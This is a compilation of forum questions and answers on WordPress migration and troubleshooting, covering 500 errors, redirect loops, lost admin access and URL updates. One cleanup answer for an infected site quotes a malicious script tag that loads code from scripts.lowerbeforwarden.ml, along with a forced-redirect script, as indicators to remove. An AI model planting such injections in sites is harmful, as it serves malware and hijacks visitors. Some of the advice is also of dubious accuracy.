I'm using WAMP to try and make a local copy of a rather large wordpress site.
After some struggle with the database i moved all the files from the ftp: to my www/ wamp folder.
Now when i try to open the pages i get:
localhost is currently unable to handle this request.
HTTP ERROR 500
BUT i can open my localhost/wp-admin and see my wordpress dashboard.
Generally, it can happen for many reasons but you can debug it step by step!
Check .htaccess file.
Delete this file or replace it with a fresh one!
Some plugins like wp-cache alters .htaccess file to achieve its purpose. So updating this file may solve your problem.
Update Permalinks to default from WordPress settings.
Replace all WordPress files with fresh WordPress files except wp-content folder. you need to update database again.
Set another theme and check if works and again set your default theme. Sometimes theme also causes this error!
Related
I downloaded the Wordpress Site via FTP, but I can't access in wp-admin, homepage...
If I create a test.html file, show page Blank.
WP_DEBUG is set to TRUE, but not returns a error.
I rename the theme folder, and the plugins folder, but nothing happen, blank page.
If in the index.php file I add this code die(Hello World!); show message, so, it's access to index.php.
It's only happen in localhost, in the production environment it's works fine.
Any solution?
You can follow these steps to get started.
Download the wp-content folder from FTP
Export your MySQL database.(You can find DB name from wp-config.php)
install new WordPress on local
replace the wp-content with your downloaded wp-content
Drop all tables of new WordPress and import your downloaded database on local.
update website URL from wp-option table
update table prefix in wp-config.php file
Now your ready to access the live website on local.
Once you login the website updates the permalinks. I know this process is long but there is no way you get error.
Happy Migration
I can Fix this.
The problem is in the file wp-load.php, I replace this file with another versión wordpress.
am having issues with my wordpress website. I can't login in at all. When I try to goto wp-admin I get a 404 page not found error and it redirects to wp-login.php (wp-login.php?redirect_to=https%3A%2F%2Fmycrazywebsite.com%2Fwp-admin%2F&reauth=1)
When I goto just wp-login.php I get an error saying redirected you too many times.
I have tried the following:
Clearing my cookies - Did not work
I checked my siteurl and home in wp-options in my database - Both are correct.
Added the following code to wp-config.php:
define('WP_HOME' , 'https://mycrazywebsite.com'); define('WP_SITEURL' , 'https://mycrazywebsite.com');
Removed my .htaccess file
Added the following code to wp-config.php
if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false) $_SERVER['HTTPS']='on';
None of them worked...Please help I have been struggling with this for days? Would it effect my site if I replace my wp-admin with a fresh one?
PLEASE NOTE:
this website was effected by the temp.lowerbeforwarden.ml virus that is going around.
I would say that it isn't an issue with your Apache configurations since it all started after your site was affected by a virus.
Create a copy of wp-config.php and download it.
Go to wp-includes directory and look for a file called
version.php. See the WordPress version that you have.
Visit https://wordpress.org/download/releases/ and download the zip
for that version.
Delete everything except wp-content directory.
Upload and extract.
Rename wp-config-sample.php to wp-config.php. Define the DB Credentials and Authentication keys (remember, you saved the old copy of wp-config.php! copy-paste details wherever needed but don't upload the old one unless you are absolutely sure that there's no malicious code in it)
Go to /wp-content/plugins directory and make a note of all the plugins installed. Delete all of them. Get all those plugins from WordPress repositories and upload the zip files and extract them.
Go to your phpMyAdmin and run this query (your table name may vary, it should be wp_posts or maybe in this format wpXX_posts, just check that):
select * from wpXX_posts where post_content like '%script%'
Review the data in post_content for each row and remove any malicious javascript code. (Copy data from that cell, paste in a text editor, review, delete everything from that cell and put back the reviewed data)
Examples (similar things to look for):
<script src='https://scripts.lowerbeforwarden.ml/src.js?n=ns1' type='text/javascript'></script>
<script type='text/javascript'>window.location.href = "SOME_URL";</script>
Also, look for any Google Analytics or tracking scripts that you didn't add.
Go to wp-contents > themes and delete all theme folders. Upload
your theme's zip file and extract and put there.
Everything should be working by now. One last step, log in to your
WordPress dashboard, go to settings > permalinks and scroll down
and click 'save changes'.
This error could occur when there is no storage space left on device where MySQL store data.
Wordpress is unable to save session data in database and redirects to login page with &reauth=1.
Try this below steps:
Turn on debugging log in wp-config.php file.
Disable plugins one by one by rename plugin folder and check site working or not in /wp-content/plugins/ path.
Rename .htaccess, wp-config.php file & upload new .htaccess, wp-config file from freshly downloaded wordpress & update your db name, db user & db password in wp-config.php file.
Mostly virus affected websites injected with some anonymous files. So check any unknowing files available in public_folder.
Repair all your database tables in phpmyadmin by this syntax: "repair table "
You can try this
Try to debugging by disabling the plugins. It could be problem because of version mismatch.
Change old wp-config with new wp-config.
For virus attacking just check any anomalie files. it can only effect in root folder.
My core wordpress files got hacked because of a plug in. My site started giving malicious redirects.
While trying to edit wp-config.php, my site went fully offline. I tried a full manual reinstall because of this and I needed new core files anyway. My site is still not online. I have the database, database password, and username in wp-config.php. Also, I have everything in the document root for the correct domain. Maybe there is some conflict between the two domains with my host?
Does anybody know what might be causing this 404. I can't get access to the dashboard.
I got a backup before doing anything and I downloaded wp-content. The original database is still available.
I tried an automated install through cpanel with fresh everything and this would not get me to a dashboard.
Well, 404 error is not because you can't connect to your database. You should see Database connection error message if database is the problem. Did you edit .htaccess file maybe? You can try to remove everything there and put default one for Wordpress.
May be your site compromised. Deactivate the plugins using the file manager provided by your host and rename wp-content/plugins to wp-content/plugins-old, also deactivate the theme or rename the wp-admin folder on root directory and then take a try to login. Also turn on the debugger.
I'm trying to move wp site from localhost on my work computer to my personal computer. I have followed these steps:
Copy wp-content folder
Export database
Import database
Paste wp-content folder
Configure config.php
It had copied all the themes and plugins, but content (images, text, pages etc) doesn't display. Did I skipped something?
You shouldn't transfer the wp-content folder as a whole, wordpress won't like it and wont find any of the posts/images within it.
If you transfer over just the theme and plugins first so all the files are in place and then do the import of the database you may have more luck.
The only problem will be the images, which may go missing due to the fact that they cannot be downloaded via localhost. Sadly the only way i can think of fixing that is through going through each page and re-adding them.
If the URL was changed:
http://codex.wordpress.org/Moving_WordPress
I would recommend to check wp_config table in the database for the following entries:
option_name=’siteurl‘ or option_name=’home‘
and check if the values are correct for the new installation.
I was in the middle of migrating a local WP site to a live server and came across a problem.
I edited my WP config file and uploaded it along with the rest of the WP files. I also uploaded the mysql database through phpMyAdmin.
Once i tried to test the site i got an error message "The page isn't redirecting properly". I then, mistakenly, logged in to the admin area and in the Settings > General tab I deleted the localhost part of the URL. Now I'm unable to log back in to the WP admin area.
EDIT
To clarify, my major problem is that i can no longer log in to the wp admin area because of something I've done. The steps i took to get to this point were:
Backed up WP using the BackUpWordpress plugin
Edited back up wp-config file with define('WP_HOME','http://example.com'); define('WP_SITEURL','http://example.com');
Created mySQL database through DreamHost
Changed database info in wp-config file
Uploaded wp files (not including mySQL backup) to my url using Filezilla
Imported mySQL database backup to DreamHost
I then checked the site from my browser, an error message said too many redirects occurred
From the wp admin area i went to Settings > General and deleted the localhost part of the url that was displayed.
I believe it's due to the previous step I'm now unable to access the wp admin area at all.
I need a way of getting back into the admin area
You can also edit those options within phpMyAdmin. Go to wp_options and locate siteurl and home. Make sure the URL matches your site URL.
You can also edit the site URL in your wp-config.php.
Add these lines somewhere above the /* That's all, stop editing! Happy blogging. */ line.
define('WP_HOME','http://my-site.com');
define('WP_SITEURL','http://my-site.com');
This should overwrite your database settings.
I believe the problem is that studiomed.co.uk is permanently redirected (301) to www.studiomed.co.uk and www.studiomed.co.uk is permanently redirected (301) to studiomed.co.uk
Login to your Dreamhost account go to Domains->Manage Domains and choose one of the three options there are in "Do you want the www in your URL?".
After that use an ftp program to download the .htaccess file that exists in your root installation of wordpress and open it with your favorite editor. Check if you have any kind of redirection in the .htaccess file.
Which version of WordPress do you use?
Can you list the plugins you are using?
Have you gone through the basic WordPress troubleshooting steps?
flush any caching plugins you might be running, as well as server
and/or browser caches.
deactivate all plugins to see if this resolves the problem. If this
works, re-activate the plugins one by one until you find the
problematic plugin(s). Sometimes, an apparently inactive plugin can
still cause problems.
If you can't get into your admin dashboard,
try resetting the plugins folder by FTP or PhpMyAdmin (read
http://codex.wordpress.org/FAQ_Troubleshooting#How_to_deactivate_all_plugins_when_not_able_to_access_the_administrative_menus.3F
if you need help).
switch to the Twenty Eleven theme (depends on your WordPress version) to rule out any theme-specific problems.
If you can't log in to change themes, you can remove the theme folders via FTP so the only one is twentyeleven. That will force your site to use it.
manual upgrade. When all else fails, download a fresh copy of the latest.zip file to your computer, and use that to copy up. You may need to delete the wp-admin and wp-includes folders on your server. Read the Manual Update directions first: http://codex.wordpress.org/Updating_WordPress#Manual_Update
check the Master List to see if you're experiencing a known issue
Login to your wordpress dashboard (wp-admin) and go to Settings->Permalinks, select Default and save changes.
Update all urls(path) using this querys then check:--
Use this querys for change all urls(path) for db then check
UPDATE wp_options SET option_value = replace(option_value, 'http://live_ste_path.com', 'http://localhost/local_site_path') WHERE option_name = 'home' OR option_name = 'siteurl';
UPDATE wp_posts SET post_content = replace(post_content, 'http://live_ste_path.com', 'http://localhost/local_site_path');
UPDATE wp_postmeta SET meta_value = replace(meta_value,'http://live_ste_path.com','http://localhost/local_site_path')`
[WSOD RESOLVED]
Since I could not find any solution to my problem by googling around, a crucial tracking info I finally found in WP error logs. So I would recommend to inspect logs before spending to much time looking for a proper answer by google.
After migration from an old web host to a new one, in my multisite environment all sites were working. Also, I was able to administer all subsites - but one! Trying wp-admin login to that site led me to fatal white screen. Without any message or any indication about the reason. And the culprit was corrupted file /public_html/subsite-x/wp-admin/admin.php. I really could not understand how that happened, just might suppose it appeared somehow while transferring files (FTP) from old host to a new one.